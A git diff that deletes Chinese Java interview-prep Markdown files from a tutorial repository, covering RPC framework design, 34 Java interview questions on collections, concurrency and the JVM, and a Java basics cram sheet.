-![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-40dc629c-e166-476f-9e03-883238e8ba25.jpg) - -其实主要就是为了将调用细节封装起来,将调用远程方法变得和调用本地方法一样简单,还可以做一些其他方面的增强,比如负载均衡,容错机制,过滤操作,调用数据的统计。 - - -## 17.怎么设计一个 RPC 框架? - -关于这个问题,其实核心考察点就是你**对于 RPC 框架的理解**,一个成熟的 RPC 框架**可以完成哪些功能**,其实当我们看过一两个 RPC 框架后,就可以对这个问题回答个七七八八了,我们来举个例子。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin-msbgwzdubboq-23df00fb-11aa-41a4-8bbe-e53bb1b65358.jpg) - -1.首先我们得需要一个**注册中心**,去管理消费者和提供者的节点信息,这样才会有消费者和提供才可以去订阅服务,注册服务。 - -2.当有了注册中心后,可能会有很多个 provider 节点,那么我们肯定会有一个**负载均衡**模块来负责节点的调用,至于用户指定路由规则可以使一个额外的优化点。 - -3.具体的调用肯定会需要牵扯到通信协议,所以需要一个模块来对**通信协议进行封装**,网络传输还要考虑序列化。 - -4.当调用失败后怎么去处理?所以我们还需要一个**容错模块**,来负责失败情况的处理。 - -5.其实做完这些一个基础的模型就已经搭建好了,我们还可以有更多的优化点,比如一些请求**数据的监控,配置信息的处理,日志信息的处理**等等。 - -这其实就是一个比较基本的 RPC 框架的大体思路,大家有没有 get 到? - - - -> 参考链接:[https://mp.weixin.qq.com/s?\_\_biz=MzkwODE5ODM0Ng==&mid=2247491592&idx=1&sn=454ae3d6a661a1eb63ffbad767ccb479&chksm=c0cf08adf7b881bbfd7d2a2ad150e7621756ccc06a6ffacd52833e7f4b84d5d01e16e5a6770f&scene=27#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzkwODE5ODM0Ng==&mid=2247491592&idx=1&sn=454ae3d6a661a1eb63ffbad767ccb479&chksm=c0cf08adf7b881bbfd7d2a2ad150e7621756ccc06a6ffacd52833e7f4b84d5d01e16e5a6770f&scene=27#wechat_redirect),作者:moon聊技术,整理:沉默王二 - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/interview/java-34.md b/docs/src/interview/java-34.md deleted file mode 100644 index 33be9a6679..0000000000 --- a/docs/src/interview/java-34.md +++ /dev/null @@ -1,587 +0,0 @@ ---- -title: 34 道 Java 精选面试题👍 -shortTitle: 34 道 Java 精选面试题👍 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,34 道 Java 精选面试题👍 -head: - - - meta - - name: keywords - content: Java,java,面试题,八股文 ---- - -## 1.介绍一下 java 吧 - -java 是一门**开源的跨平台的面向对象的**计算机语言. - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-01.png) - -跨平台是因为 java 的 class 文件是运行在虚拟机上的,其实跨平台的,而**虚拟机是不同平台有不同版本**,所以说 java 是跨平台的. - -面向对象有几个特点: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-02.png) - -- 1.**封装** - - 两层含义:一层含义是把对象的属性和行为看成一个密不可分的整体,将这两者'封装'在一个不可分割的**独立单元**(即对象)中 - - 另一层含义指'信息隐藏,把不需要让外界知道的信息隐藏起来,有些对象的属性及行为允许外界用户知道或使用,但不允许更改,而另一些属性或行为,则不允许外界知晓,或只允许使用对象的功能,而尽可能**隐藏对象的功能实现细节**。 - -**优点**: - -> 1.良好的封装能够**减少耦合**,符合程序设计追求'高内聚,低耦合'。
-> 2.**类内部的结构可以自由修改**。
-> 3.可以对成员变量进行更**精确的控制**。
-> 4.**隐藏信息**实现细节。
- - -- 2.**继承** - - 继承就是子类继承父类的特征和行为,使得子类对象(实例)具有父类的实例域和方法,或子类从父类继承方法,使得子类具有父类相同的行为。 - -**优点**: - -> 1.提高类代码的**复用性**
-> 2.提高了代码的**维护性**
- -- 3.**多态** - - 多态是同一个行为具有多个不同表现形式或形态的能力。Java语言中含有方法重载与对象多态两种形式的多态: - - 1.**方法重载**:在一个类中,允许多个方法使用同一个名字,但方法的参数不同,完成的功能也不同。 - - 2.**对象多态**:子类对象可以与父类对象进行转换,而且根据其使用的子类不同完成的功能也不同(重写父类的方法)。 - - **优点** - -> 1. **消除类型之间的耦合关系**
-> 2. **可替换性**
-> 3. **可扩充性**
-> 4. **接口性**
-> 5. **灵活性**
-> 6. **简化性**
- -## 2.java 有哪些数据类型? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-03.png) - -java 主要有两种数据类型 - - - 1.**基本数据类型** - - 基本数据有**八个**, - - byte,short,int,long属于数值型中的整数型 - - float,double属于数值型中的浮点型 - - char属于字符型 - - boolean属于布尔型 - - 2.**引用数据类型** - - 引用数据类型有**三个**,分别是类,接口和数组 - -## 3.接口和抽象类有什么区别? - -- 1.接口是抽象类的变体,**接口中所有的方法都是抽象的**。而抽象类是声明方法的存在而不去实现它的类。 -- 2.接口可以多继承,抽象类不行。 -- 3.接口定义方法,不能实现,默认是 **public abstract**,而抽象类可以实现部分方法。 -- 4.接口中基本数据类型为 **public static final** 并且需要给出初始值,而抽类象不是的。 - -## 4.重载和重写什么区别? - -重写: - -- 1.参数列表必须**完全与被重写的方法**相同,否则不能称其为重写而是重载. -- 2.**返回的类型必须一直与被重写的方法的返回类型相同**,否则不能称其为重写而是重载。 -- 3.访问**修饰符的限制一定要大于被重写方法的访问修饰符** -- 4.重写方法一定**不能抛出新的检查异常或者比被重写方法申明更加宽泛的检查型异常**。 - -重载: - -- 1.必须具有**不同的参数列表**; -- 2.可以有不同的返回类型,只要参数列表不同就可以了; -- 3.可以有**不同的访问修饰符**; -- 4.可以抛出**不同的异常**; - -## 5.常见的异常有哪些? - -- NullPointerException 空指针异常 -- ArrayIndexOutOfBoundsException 索引越界异常 -- InputFormatException 输入类型不匹配 -- SQLException SQL异常 -- IllegalArgumentException 非法参数 -- NumberFormatException 类型转换异常 - 等等.... - -## 6.异常要怎么解决? - -Java标准库内建了一些通用的异常,这些类以Throwable为顶层父类。 - -Throwable又派生出**Error类和Exception类**。 - -错误:Error类以及他的子类的实例,代表了JVM本身的错误。错误不能被程序员通过代码处理,Error很少出现。因此,程序员应该关注Exception为父类的分支下的各种异常类。 - -异常:Exception以及他的子类,代表程序运行时发送的各种不期望发生的事件。可以被Java异常处理机制使用,是异常处理的核心。 - -处理方法: - -- 1.**try()catch(){}** - -``` -try{ -// 程序代码 -}catch(ExceptionName e1){ -//Catch 块 -} -``` - -- 2.**throw** - - throw 关键字作用是抛出一个异常,抛出的时候是抛出的是一个异常类的实例化对象,在异常处理中,try 语句要捕获的是一个异常对象,那么此异常对象也可以自己抛出 -- 3.**throws** - - 定义一个方法的时候可以使用 throws 关键字声明。使用 throws 关键字声明的方法表示此方法不处理异常,而交给方法调用处进行处理。 - -## 7.arrayList 和 linkedList 的区别? - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-04.png) - -- 1.ArrayList 是实现了基于**数组**的,存储空间是连续的。LinkedList 基于**链表**的,存储空间是不连续的。(LinkedList 是双向链表) - -- 2.对于**随机访问** get 和 set ,ArrayList 觉得优于 LinkedList,因为 LinkedList 要移动指针。 - -- 3.对于**新增和删除**操作 add 和 remove ,LinedList 比较占优势,因为 ArrayList 要移动数据。 - -- 4.同样的数据量 LinkedList 所占用空间可能会更小,因为 ArrayList 需要**预留空间**便于后续数据增加,而 LinkedList 增加数据只需要**增加一个节点** - -## 8.hashMap 1.7 和 hashMap 1.8 的区别? - -只记录**重点** - -| 不同点 | hashMap 1.7 | hashMap 1.8 | -| :-------------- | :----------------------------: | -----------------------------: | -| 数据结构 | 数组+链表 | 数组+链表+红黑树 | -| 插入数据的方式 | 头插法 | 尾插法 | -| hash 值计算方式 | 9次扰动处理(4次位运算+5次异或) | 2次扰动处理(1次位运算+1次异或) | -| 扩容策略 | 插入前扩容 | 插入后扩容 | - -## 9.hashMap 线程不安全体现在哪里? - -在 **hashMap1.7 中扩容**的时候,因为采用的是头插法,所以会可能会有循环链表产生,导致数据有问题,在 1.8 版本已修复,改为了尾插法 - -在任意版本的 hashMap 中,如果在**插入数据时多个线程命中了同一个槽**,可能会有数据覆盖的情况发生,导致线程不安全。 - -## 10.那么 hashMap 线程不安全怎么解决? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-05.png) - -- 一.给 hashMap **直接加锁**,来保证线程安全 -- 二.使用 **hashTable**,比方法一效率高,其实就是在其方法上加了 synchronized 锁 -- 三.使用 **concurrentHashMap** , 不管是其 1.7 还是 1.8 版本,本质都是**减小了锁的粒度,减少线程竞争**来保证高效. - -## 11.concurrentHashMap 1.7 和 1.8 有什么区别 - -只记录**重点** - -| 不同点 | concurrentHashMap 1.7 | concurrentHashMap 1.8 | -| :------- | :--------------------------: | ---------------------------------: | -| 锁粒度 | 基于segment | 基于entry节点 | -| 锁 | reentrantLock | synchronized | -| 底层结构 | Segment + HashEntry + Unsafe | Synchronized + CAS + Node + Unsafe | - -## 12.介绍一下 hashset 吧 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-06.png) - -上图是 set 家族整体的结构, - -set 继承于 Collection 接口,是一个**不允许出现重复元素,并且无序的集合**. - -HashSet 是**基于 HashMap 实现**的,底层**采用 HashMap 来保存元素** - -元素的哈希值是通过元素的 hashcode 方法 来获取的, HashSet 首先判断两个元素的哈希值,如果哈希值一样,接着会比较 equals 方法 如果 equls 结果为 true ,HashSet 就视为同一个元素。如果 equals 为 false 就不是同一个元素。 - -## 13.什么是泛型? - -泛型:**把类型明确的工作推迟到创建对象或调用方法的时候才去明确的特殊的类型** - -## 14.泛型擦除是什么? - -因为泛型其实只是在编译器中实现的而虚拟机并不认识泛型类项,所以要在虚拟机中将泛型类型进行擦除。也就是说,**在编译阶段使用泛型,运行阶段取消泛型,即擦除**。 擦除是将泛型类型以其父类代替,如String 变成了Object等。其实在使用的时候还是进行带强制类型的转化,只不过这是比较安全的转换,因为在编译阶段已经确保了数据的一致性。 - -## 15.说说进程和线程的区别? - -**进程是系统资源分配和调度的基本单位**,它能并发执行较高系统资源的利用率. - -**线程**是**比进程更小**的能独立运行的基本单位,创建、销毁、切换成本要小于进程,可以减少程序并发执行时的时间和空间开销,使得操作系统具有更好的并发性。 - -## 16.volatile 有什么作用? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-07.png) - -- **1.保证内存可见性** - - 可见性是指线程之间的可见性,一个线程修改的状态对另一个线程是可见的。也就是一个线程修改的结果,另一个线程马上就能看到。 -- **2.禁止指令重排序** - - cpu 是和缓存做交互的,但是由于 cpu 运行效率太高,所以会不等待当前命令返回结果从而继续执行下一个命令,就会有乱序执行的情况发生 - -## 17.什么是包装类?为什么需要包装类? - -**Java 中有 8 个基本类型,分别对应的 8 个包装类** - -- byte -- Byte -- boolean -- Boolean -- short -- Short -- char -- Character -- int -- Integer -- long -- Long -- float -- Float -- double -- Double - -**为什么需要包装类**: - -- 基本数据类型方便、简单、高效,但泛型不支持、集合元素不支持 -- 不符合面向对象思维 -- 包装类提供很多方法,方便使用,如 Integer 类 toHexString(int i)、parseInt(String s) 方法等等 - -## 18.Integer a = 1000,Integer b = 1000,a==b 的结果是什么?那如果 a,b 都为1,结果又是什么? - -Integer a = 1000,Integer b = 1000,a==b 结果为**false** - -Integer a = 1,Integer b = 1,a==b 结果为**true** - -这道题主要考察 Integer 包装类缓存的范围,**在-128~127之间会缓存起来**,比较的是直接缓存的数据,在此之外比较的是对象 - -## 19.JMM 是什么? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-08.png) - -JMM 就是 **Java内存模型**(java memory model)。因为在不同的硬件生产商和不同的操作系统下,内存的访问有一定的差异,所以会造成相同的代码运行在不同的系统上会出现各种问题。所以java内存模型(JMM)**屏蔽掉各种硬件和操作系统的内存访问差异,以实现让java程序在各种平台下都能达到一致的并发效果**。 - -Java内存模型规定所有的变量都存储在主内存中,包括实例变量,静态变量,但是不包括局部变量和方法参数。每个线程都有自己的工作内存,线程的工作内存保存了该线程用到的变量和主内存的副本拷贝,线程对变量的操作都在工作内存中进行。**线程不能直接读写主内存中的变量**。 - -每个线程的工作内存都是独立的,**线程操作数据只能在工作内存中进行,然后刷回到主存**。这是 Java 内存模型定义的线程基本工作方式。 - - -## 20.创建对象有哪些方式 - -有**五种创建对象的方式** - -- 1、new关键字 - -``` -Person p1 = new Person(); -``` - -- 2.Class.newInstance - -``` -Person p1 = Person.class.newInstance(); -``` - -- 3.Constructor.newInstance - -``` -Constructor constructor = Person.class.getConstructor(); -Person p1 = constructor.newInstance(); -``` - -- 4.clone - -``` -Person p1 = new Person(); -Person p2 = p1.clone(); -``` - -- 5.反序列化 - -``` -Person p1 = new Person(); -byte[] bytes = SerializationUtils.serialize(p1); -Person p2 = (Person)SerializationUtils.deserialize(bytes); -``` - -## 21.讲讲单例模式懒汉式吧 - -直接贴代码 - -``` -// 懒汉式 -public class Singleton { -// 延迟加载保证多线程安全 - Private volatile static Singleton singleton; - private Singleton(){} - public static Singleton getInstance(){ - if(singleton == null){ - synchronized(Singleton.class){ - if(singleton == null){ - singleton = new Singleton(); - } - } - } - return singleton; - } -} -``` - -- 使用 volatile 是**防止指令重排序,保证对象可见**,防止读到半初始化状态的对象 -- 第一层if(singleton == null) 是为了防止有多个线程同时创建 -- synchronized 是加锁防止多个线程同时进入该方法创建对象 -- 第二层if(singleton == null) 是防止有多个线程同时等待锁,一个执行完了后面一个又继续执行的情况 - -[关于双检锁可以参考](https://blog.csdn.net/fly910905/article/details/79286680) - -## 22.volatile 有什么作用 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-09.png) - -- 1.**保证内存可见性** - - 当一个被volatile关键字修饰的变量被一个线程修改的时候,其他线程可以立刻得到修改之后的结果。当一个线程向被volatile关键字修饰的变量**写入数据**的时候,虚拟机会**强制它被值刷新到主内存中**。当一个线程**读取**被volatile关键字修饰的值的时候,虚拟机会**强制要求它从主内存中读取**。 -- 2.**禁止指令重排序** - - 指令重排序是编译器和处理器为了高效对程序进行优化的手段,cpu 是与内存交互的,而 cpu 的效率想比内存高很多,所以 cpu 会在不影响最终结果的情况下,不等待返回结果直接进行后续的指令操作,而 volatile 就是给相应代码加了**内存屏障**,在屏障内的代码禁止指令重排序。 - -## 23.怎么保证线程安全? - -- 1.synchronized关键字 - - 可以用于代码块,方法(静态方法,同步锁是当前字节码对象;实例方法,同步锁是实例对象) -- 2.lock锁机制 - -``` -Lock lock = new ReentrantLock(); -lock. lock(); -try { - System. out. println("获得锁"); -} catch (Exception e) { - -} finally { - System. out. println("释放锁"); - lock. unlock(); -} -``` - -## 24.synchronized 锁升级的过程 - -在 Java1.6 之前的版本中,synchronized 属于重量级锁,效率低下,**锁是** cpu 一个**总量级的资源**,每次获取锁都要和 cpu 申请,非常消耗性能。 - -在 **jdk1.6 之后** Java 官方对从 JVM 层面对 synchronized 较大优化,所以现在的 synchronized 锁效率也优化得很不错了,Jdk1.6 之后,为了减少获得锁和释放锁所带来的性能消耗,引入了偏向锁和轻量级锁,**增加了锁升级的过程**,由无锁->偏向锁->自旋锁->重量级锁 -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-10.png) - -增加锁升级的过程主要是**减少用户态到核心态的切换,提高锁的效率,从 jvm 层面优化锁** - -## 25.cas 是什么? - -cas 叫做 CompareAndSwap,**比较并交换**,很多地方使用到了它,比如锁升级中自旋锁就有用到,主要是**通过处理器的指令来保证操作的原子性**,它主要包含三个变量: - -- **1.变量内存地址** -- **2.旧的预期值 A** -- **3.准备设置的新值 B** - -当一个线程需要修改一个共享变量的值,完成这个操作需要先取出共享变量的值,赋给 A,基于 A 进行计算,得到新值 B,在用预期原值 A 和内存中的共享变量值进行比较,**如果相同就认为其他线程没有进行修改**,而将新值写入内存 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-11.png) - -**CAS的缺点** - -- **CPU开销比较大**:在并发量比较高的情况下,如果许多线程反复尝试更新某一个变量,却又一直更新不成功,又因为自旋的时候会一直占用CPU,如果CAS一直更新不成功就会一直占用,造成CPU的浪费。 - -- **ABA 问题**:比如线程 A 去修改 1 这个值,修改成功了,但是中间 线程 B 也修改了这个值,但是修改后的结果还是 1,所以不影响 A 的操作,这就会有问题。可以用**版本号**来解决这个问题。 - -- **只能保证一个共享变量的原子性** - -## 26.聊聊 ReentrantLock 吧 - -ReentrantLock 意为**可重入锁**,说起 ReentrantLock 就不得不说 AQS ,因为其底层就是**使用 AQS 去实现**的。 - -ReentrantLock有两种模式,一种是公平锁,一种是非公平锁。 - -- 公平模式下等待线程入队列后会严格按照队列顺序去执行 -- 非公平模式下等待线程入队列后有可能会出现插队情况 - -**公平锁** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-12.png) - -- 第一步:**获取状态的 state 的值** - - 如果 state=0 即代表锁没有被其它线程占用,执行第二步。 - - 如果 state!=0 则代表锁正在被其它线程占用,执行第三步。 -- 第二步:**判断队列中是否有线程在排队等待** - - 如果不存在则直接将锁的所有者设置成当前线程,且更新状态 state 。 - - 如果存在就入队。 -- 第三步:**判断锁的所有者是不是当前线程** - - 如果是则更新状态 state 的值。 - - 如果不是,线程进入队列排队等待。 - -**非公平锁** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-13.png) - -- 获取状态的 state 的值 - - 如果 state=0 即代表锁没有被其它线程占用,则设置当前锁的持有者为当前线程,该操作用 CAS 完成。 - - 如果不为0或者设置失败,代表锁被占用进行下一步。 -- 此时**获取 state 的值** - - 如果是,则给state+1,获取锁 - - 如果不是,则进入队列等待 - - 如果是0,代表刚好线程释放了锁,此时将锁的持有者设为自己 - - 如果不是0,则查看线程持有者是不是自己 - -## 27.多线程的创建方式有哪些? - -- 1、**继承Thread类**,重写run()方法 - -``` -public class Demo extends Thread{ - //重写父类Thread的run() - public void run() { - } - public static void main(String[] args) { - Demo d1 = new Demo(); - Demo d2 = new Demo(); - d1.start(); - d2.start(); - } -} -``` - -- 2.**实现Runnable接口**,重写run() - -``` -public class Demo2 implements Runnable{ - - //重写Runnable接口的run() - public void run() { - } - - public static void main(String[] args) { - Thread t1 = new Thread(new Demo2()); - Thread t2 = new Thread(new Demo2()); - t1.start(); - t2.start(); - } - -} -``` - -- 3.**实现 Callable 接口** - -``` -public class Demo implements Callable{ - - public String call() throws Exception { - System.out.println("正在执行新建线程任务"); - Thread.sleep(2000); - return "结果"; - } - - public static void main(String[] args) throws InterruptedException, ExecutionException { - Demo d = new Demo(); - FutureTask task = new FutureTask<>(d); - Thread t = new Thread(task); - t.start(); - //获取任务执行后返回的结果 - String result = task.get(); - } - -} -``` - -- 4.**使用线程池创建** - -``` -public class Demo { - public static void main(String[] args) { - Executor threadPool = Executors.newFixedThreadPool(5); - for(int i = 0 ;i < 10 ; i++) { - threadPool.execute(new Runnable() { - public void run() { - //todo - } - }); - } - - } -} -``` - -## 28.线程池有哪些参数? - -- **1.corePoolSize**:**核心线程数**,线程池中始终存活的线程数。 -- **2.maximumPoolSize**: **最大线程数**,线程池中允许的最大线程数。 -- **3.keepAliveTime**: **存活时间**,线程没有任务执行时最多保持多久时间会终止。 - -- **4.unit**: **单位**,参数keepAliveTime的时间单位,7种可选。 -- **5.workQueue**: 一个**阻塞队列**,用来存储等待执行的任务,均为线程安全,7种可选。 -- **6.threadFactory**: **线程工厂**,主要用来创建线程,默及正常优先级、非守护线程。 - -- **7.handler**:**拒绝策略**,拒绝处理任务时的策略,4种可选,默认为AbortPolicy。 - -## 29.线程池的执行流程? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-14.png) - -- 判断线程池中的线程数**是否大于设置的核心线程数** - - 如果**小于**,就**创建**一个核心线程来执行任务 - - 如果**大于**,就会**判断缓冲队列是否满了** - - 如果**没有满**,则**放入队列**,等待线程空闲时执行任务 - - 如果队列已经**满了**,则判断**是否达到了线程池设置的最大线程数** - - 如果**没有达到**,就**创建新线程**来执行任务 - - 如果已经**达到了**最大线程数,则**执行指定的拒绝策略** - -## 30.线程池的拒绝策略有哪些? - -- **AbortPolicy**:直接丢弃任务,抛出异常,这是默认策略 -- **CallerRunsPolicy**:只用调用者所在的线程来处理任务 -- **DiscardOldestPolicy**:丢弃等待队列中最旧的任务,并执行当前任务 -- **DiscardPolicy**:直接丢弃任务,也不抛出异常 - -## 31.介绍一下四种引用类型? - -- **强引用 StrongReference** - -``` -Object obj = new Object(); -//只要obj还指向Object对象,Object对象就不会被回收 -``` - -垃圾回收器不会回收被引用的对象,哪怕内存不足时,JVM 也会直接抛出 OutOfMemoryError,除非赋值为 null。 - -- **软引用 SoftReference** - -软引用是用来描述一些非必需但仍有用的对象。在内存足够的时候,软引用对象不会被回收,只有在内存不足时,系统则会回收软引用对象,如果回收了软引用对象之后仍然没有足够的内存,才会抛出内存溢出异常。 - -- **弱引用 WeakReference** - -弱引用的引用强度比软引用要更弱一些,无论内存是否足够,只要 JVM 开始进行垃圾回收,那些被弱引用关联的对象都会被回收。 - -- **虚引用 PhantomReference** - -虚引用是最弱的一种引用关系,如果一个对象仅持有虚引用,那么它就和没有任何引用一样,它随时可能会被回收,在 JDK1.2 之后,用 PhantomReference 类来表示,通过查看这个类的源码,发现它只有一个构造函数和一个 get() 方法,而且它的 get() 方法仅仅是返回一个null,也就是说将永远无法通过虚引用来获取对象,虚引用必须要和 ReferenceQueue 引用队列一起使用,NIO 的堆外内存就是靠其管理。 - -## 32.深拷贝、浅拷贝是什么? - -- 浅拷贝并不是真的拷贝,只是**复制指向某个对象的指针**,而不复制对象本身,新旧对象还是共享同一块内存。 -- 深拷贝会另外**创造一个一模一样的对象**,新对象跟原对象不共享内存,修改新对象不会改到原对象。 - -## 33.聊聊 ThreadLocal 吧 - -- ThreadLocal其实就是**线程本地变量**,他会在每个线程都创建一个副本,那么在线程之间访问内部副本变量就行了,做到了线程之间互相隔离。 -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-15.png) -- ThreadLocal 有一个**静态内部类 ThreadLocalMap**,ThreadLocalMap 又包含了一个 Entry 数组,**Entry 本身是一个弱引用**,他的 key 是指向 ThreadLocal 的弱引用,**弱引用的目的是为了防止内存泄露**,如果是强引用那么除非线程结束,否则无法终止,可能会有内存泄漏的风险。 -- 但是这样还是会存在内存泄露的问题,假如 key 和 ThreadLocal 对象被回收之后,entry 中就存在 key 为 null ,但是 value 有值的 entry 对象,但是永远没办法被访问到,同样除非线程结束运行。**解决方法就是调用 remove 方法删除 entry 对象**。 - -## 34.一个对象的内存布局是怎么样的? - -![](https://cdn.paicoding.com/tobebetterjavaer/images/baguwen/basic-34-16.png) - -- **1.对象头**: - 对象头又分为 **MarkWord** 和 **Class Pointer** 两部分。 - - **MarkWord**:包含一系列的标记位,比如轻量级锁的标记位,偏向锁标记位,gc记录信息等等。 - - **ClassPointer**:用来指向对象对应的 Class 对象(其对应的元数据对象)的内存地址。在 32 位系统占 4 字节,在 64 位系统中占 8 字节。 -- **2.Length**:只在数组对象中存在,用来记录数组的长度,占用 4 字节 -- **3.Instance data**: - 对象实际数据,对象实际数据包括了对象的所有成员变量,其大小由各个成员变量的大小决定。(这里不包括静态成员变量,因为其是在方法区维护的) -- **4.Padding**:Java 对象占用空间是 8 字节对齐的,即所有 Java 对象占用 bytes 数必须是 8 的倍数,是因为当我们从磁盘中取一个数据时,不会说我想取一个字节就是一个字节,都是按照一块儿一块儿来取的,这一块大小是 8 个字节,所以为了完整,padding 的作用就是补充字节,**保证对象是 8 字节的整数倍**。 - ---- - ->作者:moon聊技术,转载链接:[https://mp.weixin.qq.com/s/aTWtqPyMQ-6P_c8iuMVrkg](https://mp.weixin.qq.com/s/aTWtqPyMQ-6P_c8iuMVrkg) - ---------- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/interview/java-basic-baguwen.md b/docs/src/interview/java-basic-baguwen.md deleted file mode 100644 index c44c4f0736..0000000000 --- a/docs/src/interview/java-basic-baguwen.md +++ /dev/null @@ -1,416 +0,0 @@ ---- -title: Java 基础背诵版八股文必看🍉 -shortTitle: Java基础背诵版八股文🍉 -category: - - 求职面试 -tag: - - 面试题&八股文 -description: 二哥的Java进阶之路,小白的零基础Java教程,Java 基础背诵版八股文必看🍉 -head: - - - meta - - name: keywords - content: Java,java,面试题,八股文 ---- - -### Java 语言具有哪些特点? - -- Java 为纯面向对象的语言。它能够直接反应现实生活中的对象。 -- 具有平台无关性。Java 利用 Java 虚拟机运行字节码,无论是在 Windows、Linux 还是 MacOS 等其它平台对 Java 程序进行编译,编译后的程序可在其它平台运行。 -- Java 为解释型语言,编译器把 Java 代码编译成平台无关的中间代码,然后在 JVM 上解释运行,具有很好的可移植性。 -- Java 提供了很多内置类库。如对多线程支持,对网络通信支持,最重要的一点是提供了垃圾回收器。 -- Java 具有较好的安全性和健壮性。Java 提供了异常处理和垃圾回收机制,去除了 C++中难以理解的指针特性。 - -### JDK 与 JRE 有什么区别? - -- JDK:Java 开发工具包(Java Development Kit),提供了 Java 的开发环境和运行环境。 -- JRE:Java 运行环境(Java Runtime Environment),提供了 Java 运行所需的环境。 -- JDK 包含了 JRE。如果只运行 Java 程序,安装 JRE 即可。要编写 Java 程序需安装 JDK. - -### 简述 Java 基本数据类型 - -- byte: 占用 1 个字节,取值范围-128 ~ 127 -- short: 占用 2 个字节,取值范围-2^15^ ~ 2^15^-1 -- int:占用 4 个字节,取值范围-2^31^ ~ 2^31^-1 -- long:占用 8 个字节 -- float:占用 4 个字节 -- double:占用 8 个字节 -- char: 占用 2 个字节 -- boolean:占用大小根据实现虚拟机不同有所差异 - - - -### 简述自动装箱拆箱 - -对于 Java 基本数据类型,均对应一个包装类。 - -装箱就是自动将基本数据类型转换为包装器类型,如 int->Integer - -拆箱就是自动将包装器类型转换为基本数据类型,如 Integer->int - - - - - -### 简述 Java 访问修饰符 - -- default: 默认访问修饰符,在同一包内可见 -- private: 在同一类内可见,不能修饰类 -- protected : 对同一包内的类和所有子类可见,不能修饰类 -- public: 对所有类可见 - -### 构造方法、成员变量初始化以及静态成员变量三者的初始化顺序? - -先后顺序:静态成员变量、成员变量、构造方法。 - -详细的先后顺序:父类静态变量、父类静态代码块、子类静态变量、子类静态代码块、父类非静态变量、父类非静态代码块、父类构造函数、子类非静态变量、子类非静态代码块、子类构造函数。 - -### Java 代码块执行顺序 - -- 父类静态代码块(只执行一次) -- 子类静态代码块(只执行一次) -- 父类构造代码块 -- 父类构造函数 -- 子类构造代码块 -- 子类构造函数 -- 普通代码块 - - - -### 面向对象的三大特性? - -继承:对象的一个新类可以从现有的类中派生,派生类可以从它的基类那继承方法和实例变量,且派生类可以修改或新增新的方法使之更适合特殊的需求。 - -封装:将客观事物抽象成类,每个类可以把自身数据和方法只让可信的类或对象操作,对不可信的进行信息隐藏。 - -多态:允许不同类的对象对同一消息作出响应。不同对象调用相同方法即使参数也相同,最终表现行为是不一样的。 - -### 为什么 Java 语言不支持多重继承? - -为了程序的结构能够更加清晰从而便于维护。假设 Java 语言支持多重继承,类 C 继承自类 A 和类 B,如果类 A 和 B 都有自定义的成员方法 `f()`,那么当代码中调用类 C 的 `f()` 会产生二义性。 - -Java 语言通过实现多个接口间接支持多重继承,接口由于只包含方法定义,不能有方法的实现,类 C 继承接口 A 与接口 B 时即使它们都有方法`f()`,也不能直接调用方法,需实现具体的`f()`方法才能调用,不会产生二义性。 - -多重继承会使类型转换、构造方法的调用顺序变得复杂,会影响到性能。 - -### 简述 Java 的多态 - -Java 多态可以分为编译时多态和运行时多态。 - -编译时多态主要指方法的重载,即通过参数列表的不同来区分不同的方法。 - -运行时多态主要指继承父类和实现接口时,可使用父类引用指向子类对象。 - -运行时多态的实现:主要依靠方法表,方法表中最先存放的是 Object 类的方法,接下来是该类的父类的方法,最后是该类本身的方法。如果子类改写了父类的方法,那么子类和父类的那些同名方法共享一个方法表项,都被认作是父类的方法。因此可以实现运行时多态。 - -### Java 提供的多态机制? - -Java 提供了两种用于多态的机制,分别是重载与覆盖。 - -重载:重载是指同一个类中有多个同名的方法,但这些方法有不同的参数,在编译期间就可以确定调用哪个方法。 - -覆盖:覆盖是指派生类重写基类的方法,使用基类指向其子类的实例对象,或接口的引用变量指向其实现类的实例对象,在程序调用的运行期根据引用变量所指的具体实例对象调用正在运行的那个对象的方法,即需要到运行期才能确定调用哪个方法。 - 